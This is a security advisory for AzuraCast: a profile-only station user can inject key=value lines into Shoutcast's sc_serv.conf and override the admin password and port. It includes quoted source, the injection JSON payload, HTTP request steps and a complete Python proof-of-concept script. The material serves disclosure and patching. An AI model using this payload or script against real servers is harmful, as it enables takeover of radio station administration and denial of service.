GHSA-2WCV-VV3G-G86Q
Station Profile user without Broadcasting can inject Shoutcast sc_serv.conf (admin-password/port takeover)
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-2WCV-VV3G-G86Q divulgada | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
A user with only Manage station profile (no Manage station broadcasting) can persist frontend_config.custom_config through PUT /station/{id}/profile/edit. That JSON lands verbatim in the live Shoutcast sc_serv.conf as key=value lines, overriding adminpassword/portbase and injecting arbitrary directives. High severity station-isolation break.
Details
`PUT /station/{id}/profile/edit` strips privileged `backend_config` Liquidsoap sections for non-Broadcasting users but never touches the frontend field:
// backend/src/Controller/Api/Stations/ProfileEditController.php:80-84
if (!$request->getAcl()->isAllowed(StationPermissions::Broadcasting, $station)) {
foreach (StationBackendConfiguration::getCustomConfigurationSections() as $key) {
unset($requestBody['backend_config'][$key]);
}
}
// NOTE: frontend_config.custom_config is never unset -> stays writable with Profile permField exposure:
// backend/src/Entity/Station.php:133 (GROUP_GENERAL = Profile-editable)
public StationFrontendConfiguration $frontend_config;
// backend/src/Entity/StationFrontendConfiguration.php:16
public ?string $custom_config = null;Shoutcast writer merges it over the generated base, then emits lines with a value-only newline strip:
// backend/src/Radio/Frontend/Shoutcast.php:170-173
$customConf = $this->processCustomConfig($frontendConfig->custom_config);
$config = array_merge($config, $customConf);
// backend/src/Radio/Frontend/Shoutcast.php:201-204
foreach ($config as $configKey => $configValue) {
$configFileOutput .= $configKey . '=' . str_replace("\n", '', (string)$configValue) . "\n";
}JSON parsing keeps `\n` and `=` inside keys (`AbstractFrontend::processCustomConfig`, `:119-120` `json_decode`), so key `"evil\ninjected_directive"` emits two lines and key `"a=b"` emits `a=b=c`. Direct `adminpassword`/`portbase`/`password` override needs no newline. Base keys include:
// backend/src/Radio/Frontend/Shoutcast.php:143-151
'password' => $frontendConfig->source_pw,
'adminpassword' => $frontendConfig->admin_pw,
'portbase' => $frontendConfig->port,File is consumed on start via `getConfigurationPath()` (`:128-132`) and `getCommand()` (`:209-221`). Verified on `ebf75a267fd2113c1c1b881c04a58babdf4356d3`. Shoutcast binary is absent in stock images, so daemon exec was not observed; `key=value` file semantics is the impact proof. No shell-exec directive claimed.
Proof of concept
Prereq: Shoutcast2-type station + Profile-only user (no Broadcasting).
# admin: create station (use shoutcast2; plain "shoutcast" 500s by design)
POST /api/admin/stations
{"name":"shout-test","short_name":"shouttest","frontend_type":"shoutcast2","backend_type":"liquidsoap"}
# admin: role = View + Manage station profile only, user in that role
PUT /api/admin/role/2
{"name":"t","permissions":{"global":[],"station":[{"id":2,"permissions":["view station management","manage station profile"]}]}}Low-priv write (the boundary break — 200 + stored verbatim):
GET /api/station/2/profile/editPUT /api/station/2/profile/edit
{"frontend_config":{"custom_config":"{\"adminpassword\":\"HACKED_BY_PROFILE\",\"evil\ninjected_directive\":\"pwned\",\"portbase\":\"9999\"}"}}Materialize + read (admin restart, host file read):
POST /api/station/2/restart
POST /api/station/2/frontend/restart
sudo docker exec azuracast cat /var/azuracast/stations/shouttest/config/sc_serv.confObserved vulnerable:
password=CHa4jgyf
adminpassword=HACKED_BY_PROFILE
maxuser=250
portbase=9999
evil
injected_directive=pwnedFixed would be: PUT rejects/strips `frontend_config.custom_config` without Broadcasting (like backend custom sections) and the file keeps generated passwords/ports. One-run script `poc_shoutcast_profile_to_sc_serv_conf.py` attached (exit 0 = vulnerable).
#!/usr/bin/env python3
"""
PoC — AzuraCast Shoutcast sc_serv.conf Injection via Profile frontend_config.custom_config
Commit: ebf75a267fd2113c1c1b881c04a58babdf4356d3
Severity: High (Profile-only station user -> Shoutcast admin-password/port/arbitrary-directive control)
What this proves:
1. Target is the exact vulnerable build.
2. Creates Shoutcast2 station + least-priv role (View + Profile, NO Broadcasting) + low-priv user.
3. As low-priv user, PUT /api/station/{id}/profile/edit with malicious
frontend_config.custom_config (adminpassword override + newline-key + portbase).
4. Restarts station (admin), reads stations/<short>/config/sc_serv.conf via
`docker exec` (falls back to API persistence proof if docker unavailable).
5. Verdict: VULNERABLE iff file contains adminpassword=HACKED_*, portbase=9999,
and injected lines (evil / injected_directive=pwned).
Usage:
python3 poc_shoutcast_profile_to_sc_serv_conf.py \
--base http://localhost --admin-email admin@azuracast.local --admin-password 'PASS'
Optional: --station-short shouttest-poc (default), --docker 1/0
Only dependency: pip install requests
"""
import argparse, json, re, subprocess, sys, time
def log(s,m): print(f"[{s}] {m}", flush=True)
def ok(m): print(f"[OK] {m}", flush=True)
def fail(m): print(f"[FAIL] {m}", flush=True)
def info(m): print(f"[INFO] {m}", flush=True)
def sh(cmd):
try: return subprocess.run(cmd, capture_output=True, text=True, timeout=30)
except Exception as e: return None
def main():
ap = argparse.ArgumentParser(description="B2 Shoutcast injection PoC (verbose)")
ap.add_argument('--base', default='http://localhost')
ap.add_argument('--admin-email', required=True)
ap.add_argument('--admin-password', required=True)
ap.add_argument('--station-short', default='shouttest-poc')
ap.add_argument('--docker', default='1', help='1=try docker exec cat sc_serv.conf, 0=API persistence only')
a = ap.parse_args()
import requests
base = a.base.rstrip('/')
MAL = '{"adminpassword":"HACKED_BY_PROFILE","evil\\ninjected_directive":"pwned","portbase":"9999"}'
log("STEP-0", f"Target {base} | Shoutcast station short={a.station_short}")
# Build fingerprint
log("STEP-1", "Admin login + build fingerprint ...")
admin = requests.Session()
admin.post(base+'/login', data={'username':a.admin_email,'password':a.admin_password}, timeout=15)
dash = admin.get(base+'/dashboard', timeout=15).text
if 'ebf75a2' in dash: ok("Build ebf75a2 confirmed")
else: fail("ebf75a2 NOT in dashboard — version may differ"); print(dash[:300])
csrf_a = re.search(r'"apiCsrf":"([^"]+)"', dash).group(1)
HA = {'X-API-CSRF': csrf_a}
# Station (shoutcast2)
log("STEP-2", "Ensuring Shoutcast2 station exists ...")
sts = admin.get(base+'/api/admin/stations', timeout=15).json()
sid = next((s['id'] for s in sts if s.get('short_name')==a.station_short), None)
if sid is None:
r = admin.post(base+'/api/admin/stations', json={"name":"shout-poc","short_name":a.station_short,"frontend_type":"shoutcast2","backend_type":"liquidsoap"}, headers=HA, timeout=20)
assert r.status_code==200, f"station create failed: {r.status_code} {r.text[:300]}"
sid = r.json().get('id') or next(s['id'] for s in admin.get(base+'/api/admin/stations', timeout=15).json() if s.get('short_name')==a.station_short)
ok(f"station id={sid} (use frontend_type=shoutcast2; plain 'shoutcast' 500s by design)")
before = admin.get(base+'/api/admin/stations', timeout=15).json()
info("ports: " + str([(s['id'],s['short_name'],s.get('frontend_config',{}).get('port')) for s in before if s['id']==sid]))
# Role + user (Profile only)
log("STEP-3", "Least-priv role (View + Profile, NO Broadcasting) + user ...")
r = admin.post(base+'/api/admin/roles', json={"name":"poc-b2-profile","permissions":{"global":[],"station":[]}}, headers=HA, timeout=15)
rid = r.json().get('id')
admin.put(base+f'/api/admin/role/{rid}', json={"name":"poc-b2-profile","permissions":{"global":[],"station":[{"id":sid,"permissions":["view station management","manage station profile"]}]}}, headers=HA, timeout=15)
ok(f"role id={rid} (verify: no Broadcasting)")
ru = admin.post(base+'/api/admin/users', json={"email":"pocb2@azuracast.local","new_password":"PocB2Test123!","roles":[rid]}, headers=HA, timeout=15)
try: uid = ru.json().get('id')
except: uid = None
if uid: admin.put(base+f'/api/admin/user/{uid}', json={"email":"pocb2@azuracast.local","new_password":"PocB2Test123!","roles":[rid]}, headers=HA, timeout=15)
else: # find existing
uid = next(u['id'] for u in admin.get(base+'/api/admin/users', timeout=15).json() if u['email']=='pocb2@azuracast.local')
admin.put(base+f'/api/admin/user/{uid}', json={"email":"pocb2@azuracast.local","new_password":"PocB2Test123!","roles":[rid]}, headers=HA, timeout=15)
ok(f"low-priv user pocb2@azuracast.local id={uid}")
# Low-priv: profile write
log("STEP-4", "Low-priv PUT /profile/edit with malicious frontend_config.custom_config ...")
low = requests.Session()
rl = low.post(base+'/login', data={'username':'pocb2@azuracast.local','password':'PocB2Test123!'}, timeout=15, allow_redirects=False)
assert rl.status_code==302 and '/dashboard' in rl.headers.get('Location',''), "low-priv login failed"
csrf_l = re.search(r'"apiCsrf":"([^"]+)"', low.get(base+'/dashboard', timeout=15).text).group(1)
HL = {'X-API-CSRF': csrf_l}
g = low.get(base+f'/api/station/{sid}/profile/edit', timeout=15)
assert g.status_code==200, f"GET profile/edit denied: {g.status_code} (need Profile perm)"
ok(f"GET profile/edit 200 (custom_config before={g.json().get('frontend_config',{}).get('custom_config')})")
p = low.put(base+f'/api/station/{sid}/profile/edit', json={"frontend_config":{"custom_config":MAL}}, headers=HL, timeout=15)
assert p.status_code==200, f"PUT denied: {p.status_code} {p.text[:300]}"
ok("PUT 200 — Profile-only write accepted (the missing boundary: only backend_config custom_* is stripped)")
after = low.get(base+f'/api/station/{sid}/profile/edit', timeout=15).json()['frontend_config']['custom_config']
assert 'HACKED_BY_PROFILE' in after, "persistence check failed"
ok("Persistence verified via API (custom_config stored verbatim)")
# Restart (admin) to materialize file
log("STEP-5", "Restarting station (admin) to write sc_serv.conf ...")
admin.post(base+f'/api/station/{sid}/restart', headers=HA, timeout=30)
admin.post(base+f'/api/station/{sid}/frontend/restart', headers=HA, timeout=30)
time.sleep(8)
# Read file
log("STEP-6", "Reading sc_serv.conf ...")
content = None
if a.docker == '1':
cp = sh(['sudo','-n','docker','exec','azuracast','cat',f'/var/azuracast/stations/{a.station_short}/config/sc_serv.conf'])
if cp is None or cp.returncode!=0:
cp = sh(['docker','exec','azuracast','cat',f'/var/azuracast/stations/{a.station_short}/config/sc_serv.conf'])
if cp and cp.returncode==0: content = cp.stdout
if content is None:
fail("docker exec unavailable — file proof skipped; API persistence above + Shoutcast.php:203 loop is the evidence. Re-run with --docker 1 on host.")
print("EXPECTED-FILE (when readable): adminpassword=HACKED_BY_PROFILE, portbase=9999, evil, injected_directive=pwned")
return 2
print("-"*70); print(content[:2000]); print("-"*70)
checks = {
"adminpassword=HACKED_BY_PROFILE": "adminpassword=HACKED_BY_PROFILE" in content,
"portbase=9999": "portbase=9999" in content,
"injected_directive=pwned": "injected_directive=pwned" in content,
"bare 'evil' line (key-newline)": any(l.strip()=='evil' for l in content.splitlines()),
}
for k,v in checks.items(): info(f"{k}: {'YES' if v else 'NO'}")
if all(checks.values()):
ok("VULNERABLE — Profile-only input reached live sc_serv.conf (auth + port + directive injection). REPORT B2.")
return 0
else:
fail("NOT vulnerable as described (file lacks markers). Do NOT report.")
return 1
if __name__ == '__main__':
sys.exit(main())Impact
Broken access control / config injection. Profile-only user gains broadcast-frontend control: Shoutcast /admin.cgi password (kick/ban source and listeners, view stats), listen-port hijack/DoS (8010 -> 9999), arbitrary sc_serv.conf directive persistence. Multi-tenant station isolation failure.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistazuracast/azuracast |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-2wcv-vv3g-g86qLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
